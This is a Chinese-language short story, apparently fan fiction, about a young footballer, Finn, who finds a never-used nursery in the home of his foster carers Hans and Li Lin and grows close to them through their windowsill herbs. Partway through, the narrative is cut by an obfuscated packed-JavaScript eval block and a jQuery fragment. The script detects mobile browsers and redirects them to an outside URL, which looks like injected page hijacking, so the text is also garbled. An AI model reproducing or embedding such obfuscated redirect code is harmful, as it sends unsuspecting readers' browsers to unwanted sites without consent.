芬恩是在搬家三个月后发现那间空房间的。
汉斯家的房子结构简单：主卧、书房、他的房间，还有一间始终紧闭的卧室。他原以为是储物间，直到那个周六下午，李琳让他帮忙把冬天的被褥搬出来晒。
门推开时，没有预想中的灰尘味。相反，房间整洁得过分——浅蓝色的墙壁，原木色的书架空荡荡的，一张铺着米白色床单的单人床，窗台上摆着一排小小的陶土花盆，里面长着翠绿的、散发着清冽香气的植物。
“这是……”芬恩抱着厚重的羽绒被，站在门口。
李琳正弯腰从衣柜里取出另一床被子，闻言顿了顿。“以前准备的房间。”她的声音很平静，甚至带着一点例行公事的语气，但芬恩注意到，她抚摸被面的动作格外轻柔。
芬恩没有追问。他把被子抱到阳台，在汉斯指导下学着用晾衣杆撑起厚重的织物。阳光很好，勒沃库森难得的晴日。但那个空房间的影像留在他脑海里——太整洁了，整洁得像一个等待被填满的模板。
几天后，他在书房找一本战术笔记时，无意中瞥见书架最上层有一本相册。深蓝色绒布封面，边缘已经磨损。他本不该碰，但某种直觉让他踮起脚尖取了下来。
相册很轻。翻开，第一页是年轻的汉斯和李琳的结婚照。汉斯穿着笔挺的西装，头发比现在多，表情严肃得像在参加学术答辩。李琳穿着简单的白色连衣裙，笑得眼睛弯成月牙。
往后翻，照片渐渐多了生活气息：他们在圣诞树前装饰彩灯，在某个湖边野餐，在刚刚搬进这栋房子时站在空荡荡的客厅里合影。然后，照片停止了。
不是突然的停止。而是从某一页开始，出现了婴儿用品：一辆浅蓝色的婴儿车，一堆还未拆封的纸尿裤，几件绣着小鸭子的连体衣。这些物品被精心拍摄，摆在那个浅蓝色房间的各个位置——婴儿车靠窗，衣服叠在空荡荡的衣柜里，一个小小的摇铃放在床头柜上。
但没有婴儿。
再往后，照片变成了那排陶土花盆。最初只有一盆薄荷，然后两盆，三盆……李琳在给它们浇水，汉斯在换土，薄荷茂盛地蔓延，几乎要溢出窗台。
最后一页，贴着一张便条纸，上面是李琳娟秀的中文字：
“有些种子不会发芽，但土壤还在。那就种点别的吧，比如薄荷，比如安静的日子。”
芬恩轻轻合上相册，把它放回原处。那天晚上吃饭时，他格外安静。
“怎么了？”李琳给他盛汤，“训练太累？”
芬恩摇摇头，犹豫了一下，问：“窗台上那些……是什么植物？”
“薄荷。”李琳说，“很好养，给点水就能活。香味也提神，我有时做菜会摘几片。”
“种了很久吗？”
李琳和汉斯交换了一个短暂的眼神。汉斯推了推眼镜，继续切他的土豆。
“快十年了吧。”李琳语气平常，“一开始只想种一盆，后来越长越多，就分了盆。现在阳台上也都是了，你要喜欢，可以摘些泡水喝。”
芬恩点点头，没再问下去。
但有些事情一旦知道，就会在细节里浮现。比如李琳总会多做一些菜，说“你在长身体”；比如汉斯虽然严肃，却会默默记下他训练中提到的技术问题，第二天带回来打印好的资料；比如他们从不问他过去的具体细节，只是在他做噩梦惊醒的夜晚，客厅的灯总会亮着，李琳会热一杯牛奶放在餐桌上，什么也不说。
一个普通的周四，芬恩训练中扭到了脚踝。不严重，但队医让他休息两天。他提前回家，发现李琳正在那个浅蓝色的房间里。
她背对着门，坐在床边，手里拿着一件很小的、鹅黄色的婴儿毛衣。听到动静，她转过头，脸上没有惊慌，只有一种被捕捉到秘密的、温和的无奈。
“这是我母亲织的。”她抚摸着毛衣上凸起的编织花纹，“从中国寄过来，花了一个月。等寄到时，已经用不上了。”
芬恩靠在门框上，脚踝隐隐作痛。他不知道该说什么。
李琳把毛衣叠好，放回抽屉里。“我们试了很久。”她的声音很轻，像在叙述别人的事，“后来医生建议我们放弃。汉斯说，也许我们可以申请领养。但手续很复杂，而且……我们年纪也不小了。”
她站起身，走到窗边，指尖拂过薄荷的叶片。“然后我们就想，也许这样也好。安静，规律，两个人也能把日子过好。”她转过头看芬恩，笑了笑，“直到汉斯接到那个电话，说有个孩子需要临时监护，是个踢球的，情况……有点特殊。”
芬恩喉咙发紧。
“我们没想过会是这样的。”李琳继续说，目光落在他身上，又像是透过他看向更远的地方，“但你来了，这个房间……好像突然就有理由存在了。”
她走过来，拍了拍他的肩膀。“脚扭了？我去拿冰袋。晚上想吃什么？炖点骨头汤吧，对恢复好。”
那天深夜，芬恩脚踝上敷着冰袋，坐在客厅沙发上。汉斯难得地没有在书房工作，而是在他对面看报纸。
“李琳……”芬恩开口，又顿住。
汉斯从报纸后抬起眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179374|196939||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。“她跟你说房间的事了？”
芬恩点头。
汉斯放下报纸，摘下眼镜擦拭。“那是很久以前的事了。”他的语气依然是那种科研人员的客观，“我们做了所有能做的尝试，但生物学有时候就是……不以人的意志为转移。我们接受了这个事实。”
他重新戴上眼镜，看向芬恩。“但我们没有接受‘生活只能如此’。我们调整了参数，重新设定了目标。李琳开始学德语，我申请了俱乐部的工作，我们把精力投注在其他能带来成就感的事情上。”他顿了顿，“直到你出现。这是一个……意料之外的变量。”
“变量？”芬恩重复。
“嗯。”汉斯点头，“一个我们算法里没有预设，但加入后让整个系统运行得更优化的变量。”
芬恩想笑，但鼻尖发酸。这很汉斯——用最理性的语言，说最温柔的事。
“所以，”汉斯总结道，“不要有负担。你不是替代品，也不是补偿。你就是你自己，一个让我们重新思考‘家庭’这个定义的……积极因素。”
他起身，走到厨房倒了杯水，回来时又说：“当然，如果你下次传球选择能更优化，这个积极因素的评价会更高。”
芬恩终于笑出来，脚踝的疼痛似乎都轻了。
第二天，他趁李琳出门买菜，去了趟花市。他买了一小盆罗勒，一盆迷迭香，还有一包混合香草种子。他把它们放在那个浅蓝色房间的窗台上，和薄荷摆在一起。
李琳回来看到时，愣了很久。然后她眼眶红了，但笑得比任何时候都明亮。
“你会养吗？”她问，声音有点哑。
“不会。”芬恩老实说，“您教我。”
“好。”李琳擦擦眼角，“先从浇水教起。记住，水不能多，多了烂根。就像对人，关心要给，但不能溺着。”
现在，那个窗台越来越满。薄荷、罗勒、迷迭香、百里香、甚至有一盆小番茄正在开花。芬恩每天训练回来，都会去看看它们，浇点水，摘掉枯叶。有时李琳会站在他身边，告诉他哪种香料配什么菜，哪种植物喜阳哪种耐阴。
那个房间不再是等待被填满的模板。
它正在被慢慢填满——不是按照最初的蓝图，而是以一种意想不到的、混合着薄荷清香和泥土气息的方式。
而芬恩知道，自己也是这片土壤里长出来的植物之一。也许不是最初计划的那颗种子，但既然发了芽，他就会好好生长。
连带着那份未曾送出的鹅黄色毛衣的期待，和窗台上日益茂盛的绿意一起。